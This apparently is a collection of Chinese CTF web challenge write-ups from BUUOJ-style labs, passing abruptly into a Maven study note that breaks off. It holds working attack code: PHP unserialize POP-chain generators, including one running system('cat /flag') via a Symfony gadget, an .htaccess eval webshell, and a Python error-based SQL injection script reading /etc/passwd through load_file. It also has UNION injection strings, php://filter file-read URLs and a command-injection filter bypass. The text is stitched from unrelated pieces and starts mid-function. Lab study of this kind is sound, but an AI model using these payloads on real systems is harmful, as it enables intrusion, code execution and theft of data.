$a=urldecode("O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A37%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5Cindex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D");
$b=substr($a,0,strlen($a)-1);
$b=str_replace("\"Error\":7","\"Error\":8",$b);
$b.="s:3:\"aaa\";".serialize(new Register())."}";

$b='a:6:{s:2:"ID";i:9;s:8:"username";s:4:"aaaa";s:3:"img";N;s:5:"email";s:11:"[email protected]";s:8:"password";s:32:"74b87337454200d4d33f80c4663dc5e5";s:3:"abc";'.$b.'}';
#return "a";
return urlencode(base64_encode($b));
}

public function __get($name)
{
return url;
}

}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
public $checker;
public $registed;

public function __construct()
{
$this->registed=0;
$this->checker=new Profile();
}

public function register()
{
if ($this->checker) {
if($this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
$email = input("post.email", "", "addslashes");
$password = input("post.password", "", "addslashes");
$username = input("post.username", "", "addslashes");
if($this->check_email($email)) {
if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
$user_info = ["email" => $email, "password" => md5($password), "username" => $username];
if (db("user")->insert($user_info)) {
$this->registed = 1;
$this->success('Registed successful!', url('../index'));
} else {
$this->error('Registed failed!', url('../index'));
}
} else {
$this->error('Account already exists!', url('../index'));
}
}else{
$this->error('Email illegal!', url('../index'));
}
} else {
$this->error('Something empty!', url('../index'));
}
}

public function check_email($email){
$pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
preg_match($pattern, $email, $matches);
if(empty($matches)){
return 0;
}else{
return 1;
}
}

public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
namespace app\web\controller;

use think\Controller;
class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except=array('index'=>'upload_img');
public $index;

public function __construct()
{
$this->index="upload_img";
$this->checker=0;
$this->ext=1;
$this->filename_tmp="../public/upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.png";
$this->filename="../public/upload/76d9f00467e5ee6abc3ca60892ef304e/fb5c81ed3a220004b71069645f112867.php";
}

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

[CISCN2019 华东南赛区]Web11

简单的smarty ssti

Futurella

F12

2020 新春红包题 1

和2019的eis中的pop一摸一样,我之前也做出来了,再看的时候居然不会了???????????

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

唯一不同的是,这题会对文件名进行检测

1
2
3
4
5
6
7
8
public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

我在这里卡了好久,还是去偷窥wp解决的

我们利用uniqid()/../filename来绕过uniqid,

利用index.php/.=index.php来绕过后缀名检测

其他解法: https://www.zhaoj.in/read-6397.html

  1. 利用.user.ini
  2. 利用shell中``的优先级大于”来命令执行

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

可以任意写文件,写个php文件后发现,不解析,估计是htaccess的,

于是写htaccess,利用#\来绕过末尾添加\nJust one chance,将其注释

最后的payload

1
2
3
4
#<?php die(eval($_POST[1]));?>
php_value auto_prepend_fi\
le ".htaccess"
#\

Kookie

修改cookie

homebrew event loop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
return '*********************' # censored


def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5:
session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack


class RollBackException:
pass


def execute_event_loop():
valid_event_chars = set(
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')):
continue
for c in event:
if c not in valid_event_chars:
break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None:
resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None:
resp = ''
# resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None:
resp = ret_val
else:
resp += ret_val
if resp is None or resp == '':
resp = ('404 NOT FOUND', 404)
session.modified = True
return resp


@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html


def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')


def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])


def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume:
raise RollBackException()
session['points'] -= point_to_consume


def show_flag_function(args):
flag = args[0]
# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
if session['num_items'] >= 5:
# show_flag_function has been disabled, no worries
trigger_event('func:show_flag;' + FLAG())
trigger_event('action:view;index')


if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

我们观察:

1
2
3
4
5
6
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(
action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

这里我们可以

在action后面加个#,来达到任意命令执行,但是传入的参数只能是一个list,在这里卡住我了

继续分析发现,这个程序的功能都基于自制的event_loop,而trigger_event()负责添加event,当传入一个list时,他会直接event+=list

也就是说我们可以控制event_loop的执行顺序,

在get_flag_handler中,我们可以将flag记录到session中但是,要求diomand>=5,而正常来说我们最多只有3个

我们观察buy

1
2
3
4
5
6
7
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0:
return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(
num_items), 'action:view;index'])

这个是先将物品添加然后向event_loop中添加事件,结合我们前面的发现,我们可以在调用buy_handler后直接调用get_flag_handler,这样我们就能拿到flag了

访问:d5afe1f66147e857/?action:trigger_event%23;action:buy;99%23action:get_flag;%23,将session解码后拿到flag

flag{ba772083-fe23-4258-897e-63c9a99ff66f}

easysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import re,time
import binascii
def sql_inj(sql):
result=""
count=1
while True:
if result!="":
username="admin\"-(updatexml(1,concat(0x7e,replace(({sql}),{result},\"\"),0x7e),1))#".format(sql=sql,result=("0x"+str(binascii.hexlify(bytes(result,encoding="ascii")),encoding="ascii")))
else:
username="admin\"-(updatexml(1,concat(0x7e,replace(({sql}),\"\",\"\"),0x7e),1))#".format(sql=sql,result=("0x"+str(binascii.hexlify(bytes(result,encoding="ascii")),encoding="ascii")))
burp0_url = "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn:80/register.php"
burp0_cookies = {"PHPSESSID": "r658aaumj82f5f6itd5freua14"}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Origin": "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/register.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
burp0_data = {"username":username , "password": "a", "email": "a"}
res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(username)
#print(res.text)
session = requests.session()
url="http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/login.php"
data={
"username":username,
"password":"a"
}
res=session.post(url, data=data)
#print(res.text)
res=session.post("http://68c7485c-1d1c-4e0e-b89a-ae73b0af1046.node3.buuoj.cn/changepwd.php",data={"oldpass":"a","newpass":"a"})
print(res.text)
tmp=re.match(r".*XPATH syntax error: '(.*)'.*",res.text,flags=re.DOTALL).group(1)
if tmp!="" and tmp[0]=="~":
tmp=tmp[1:]
if tmp!="" and tmp[-1]=="~":
tmp=tmp[:-1]
result+=tmp
print(result)
if tmp.strip() is "":
break
count+=30
time.sleep(0.5)
print(result)
sql_inj("select(group_concat(load_file(0x2f6574632f706173737764)))")

1
2
3
4
article,flag,users
flag
title,content
name,pwd,email,real_flag_1s_here

flag{9b73df68-406f-439e-9076-c9a9f37f5255}

二次注入

[MRCTF2020]Ez_bypass

easy

[MRCTF2020]你传你🐎呢

后缀名限制:php

上传htaccess+图片马

flag{c4ab5af4-4cb4-45bf-9cb3-ebe35922eca9}

[MRCTF2020]PYWebsite

修改xff头

[BSidesCF 2020]Had a bad day

测试发现

1
2
3
Warning: include(meowers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'meowers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>

</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>

在扫目录时发现flag.php

http://12d20382-ff0d-44bf-abfd-50a08a5b8604.node3.buuoj.cn/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

[HarekazeCTF2019]encode_and_encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

学到了学到了

json_decode在解析类似\u0020的时候会把他当成一个unicode字符,也就是说它会变成空格

这个在官方文档里也有涉及PHP implements a superset of JSON as specified in the original » RFC 7159.

去查RFC 7159就会发现

1
2
3
4
5
6
7
8
Any character may be escaped.  If the character is in the Basic
Multilingual Plane (U+0000 through U+FFFF), then it may be
represented as a six-character sequence: a reverse solidus, followed
by the lowercase letter u, followed by four hexadecimal digits that
encode the character's code point. The hexadecimal letters A though
F can be upper or lower case. So, for example, a string containing
only a single reverse solidus character may be represented as
"\u005C".

[CISCN2019 总决赛 Day1 Web4]Laravel1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//backup in source.tar.gz

namespace App\Http\Controllers;


class IndexController extends Controller
{
public function index(\Illuminate\Http\Request $request){
$payload=$request->input("payload");
if(empty($payload)){
highlight_file(__FILE__);
}else{
@unserialize($payload);
}
}
}

很明显是要让我们找个pop链,刚开始我天真的以为可以直接用cve的,一行注释让我明白了我的天真

image55205

这个pop链显然要从__destruct开始

image55300

image55369

在经过一番搜索+wp观看大法后,我找到了

这里有个$f($items),可以直接命令执行,前提是没有直接从foreach那里退出

不知道为啥,本机不可以,而靶场可以???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

namespace Symfony\Component\Cache\Adapter;

class TagAwareAdapter{
private $deferred;
private $getTagsByKey;
function __construct(){
$this->deferred="cat /flag";
$this->getTagsByKey="system";
}
}



$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter();
echo urlencode(serialize($a));

flag{d5b22868-43a5-4784-be2f-6021702cfe89}

[MRCTF2020]套娃

2333333333

flag{b84a1566-98fb-43aa-967d-95b86c42da14}

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;

public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}

public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Show();
$b=new Show();
$b->str=new Test();
$a->source=$b;
echo urlencode(serialize($a));
?>

flag{ff09736d-ed1f-4089-8906-3379cbb7e019}

[GYCTF2020]Easyphp

UpdateHelper(__destruct)->User(__toString)->Info(__call)->dbCtrl(login)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id=1;
public $age;
public $nickname;
public function __construct(){
$this->nickname=new Info();
$this->age="UPDATE user SET password=\"c4ca4238a0b923820dcc509a6f75849b\" where username=?";
}


}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name='admin';
$this->password='1';
$this->token='admin';
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct(){
$this->age="";
$this->nickname="";
$this->CtrlCase=new dbCtrl();
}
}
Class UpdateHelper{
public $id="";
public $newinfo="";
public $sql="";
public function __construct(){
$this->sql=new User();
}
}

$nickname="";
$a=new User();
$evil=str_replace("flag","alag",serialize($a));

#echo $evil;
$age='";s:8:"nickname";'.$evil.'s:8:"CtrlCase";N;};';
$len=strlen($age);
for($i=0;$i<$len;$i++){
$age="union".$age;
};
$tmp=serialize(new Info($age,$nickname));
$result=safe($tmp);
echo $age;
unserialize($result);
?>



flag{be7c6d56-1969-47d8-8eed-e672e5496d25}

[WUSTCTF2020]颜值成绩查询

1
2
3
4
5
0/**/uniunionon/**/select/**/1,2,3#
0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/where/**/TABLE_SCHEMA=database()#
flag,score
0/**/uniunionon/**/select/**/1,GROUP_CONCAT(column_name),3/**/FROM/**/information_schema.columns/**/WHERE/**/table_name='flag'#
flag,value

[WUSTCTF2020]朴实无华

在robots.txt中发现fAke_f1agggg.php

在fAke_f1agggg.php中发现fl4g.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
1
/fl4g.php?num=1e10&md5=0e215962017&get_flag=a%3dc%26%26b%3da%26%26c%3dt%26%26$a$b$c%09*

maven学习笔记

maven学习笔记

学习网站

https://www.imooc.com/learn/443 (这个挺好的)

https://www.runoob.com/maven/maven-tutorial.html

maven功能

  • 构建
  • 文档生成
  • 报告
  • 依赖
  • SCMs
  • 发布
  • 分发
  • 邮件列表

约定配置

Maven 提倡使用一个共同的标准目录结构,Maven 使用约定优于配置的原则,大家尽可能的遵守这样的目录结构。如下所示:

目录 目的
${basedir} 存放pom.xml和所有的子目录
${basedir}/src/main/java 项目的java源代码
${basedir}/src/main/resources 项目的资源,比如说property文件,springmvc.xml
${basedir}/src/test/java 项目的测试类,比如说Junit代码
${basedir}/src/test/resources 测试用的资源
${basedir}/src/main/webapp/WEB-INF web应用文件目录,web项目的信息,比如存放web.xml、本地图片、jsp视图页面
${basedir}/target 打包输出目录
${basedir}/target/classes 编译输出目录
${basedir}/target/test-classes 测试编译输出目录
Test.java Maven只会自动运行符合该命名规则的测试类
~/.m2/repository Maven默认的本地仓库目录位置

Maven POM

POM( Project Object Model,项目对象模型 ) 是 Maven 工程的基本工作单元,是一个XML文件 ,用于描述如何构建项目

在创建 POM 之前,我们首先需要描述项目组 (groupId), 项目的唯一ID。

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<project xmlns = "http://maven.apache.org/POM/4.0.0"
xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation = "http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">

<!-- 模型版本 -->
<modelVersion>4.0.0</modelVersion>
<!-- 公司或者组织的唯一标志,并且配置时生成的路径也是由此生成, 如com.companyname.project-group,maven会将该项目打成的jar包放本地路径:/com/companyname/project-group -->
<groupId>com.companyname.project-group(公司网站反写+项目名)</groupId>

<!-- 项目的唯一ID,一个groupId下面可能多个项目,就是靠artifactId来区分的 -->
<artifactId>project+模块名</artifactId>

<!-- 版本号 -->
<version>1.0</version>
</project>

常见标签解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<project xmlns = "http://maven.apache.org/POM/4.0.0"
xmlns:xsi = "http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation = "http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">

<!-- 模型版本 -->
<modelVersion>4.0.0</modelVersion>
<!-- 公司或者组织的唯一标志,并且配置时生成的路径也是由此生成, 如com.companyname.project-group,maven会将该项目打成的jar包放本地路径:/com/companyname/project-group -->
<groupId>com.companyname.project-group(公司网站反写+项目名)</groupId>

<!-- 项目的唯一ID,一个groupId下面可能多个项目,就是靠artifactId来区分的 -->
<artifactId>project+模块名</artifactId>

<!-- 版本号
第一个数字表示大版本号
第二个数字表示分支版本号
第三个数字表示小版本号
snapshot 快照
alpha 内部测试
beta 公测
Release 稳定版本
GA 正式发布
-->
<version>1.0.0-xxx</version>
<!-- 打包方式,默认是jar,还有:war zip pom-->
<packaging></packaging>
<!--项目描述名-->
<name></name>
<!--项目地址 -->
<url></url>
<!--项目描述 -->
<descriptions></descriptions>
<!--开发人员信息 -->
<developers></developers>
<dependeies>
<dependency>
<groupId>com.companyname.project-group(公司网站反写+项目名)</groupId>

<artifactId>project+模块名</artifactId>
<version>1.0.0-xxx</version>
<type></type>
<!-- 在test中有用 -->
<scope>test</scope>
<!--设置依赖是否可选,默认False,设为False则子项目默认继承,否则得显示声明-->
<optional></optional>
<!-- 排除依赖传递列表
如A依赖B,B依赖C,而A不依赖C,此时就可以在此处添加C,来排除依赖
-->

<exclusions>
<exclusion>
</exclusion>
</exclusions>
</dependency>
</dependeies>
<!-- 依赖的管理,子pom自动继承,但是本身并不依赖 -->
<dependencyManagement>
<dependeies>
<dependency>
</dependency>
</dependeies>
</dependencyManagement>
<build>
<plugins>
<!-- 详情见在某个阶段使用插件 -->
</plugins>
</build>
<!-- 聚合运行多个maven项目,一口气全部编译 -->
<modules>
<module>
</module>
</modules>
</project>

执行main函数

在pom下的project添加:

1
2
3
4
5
6
7
8
9
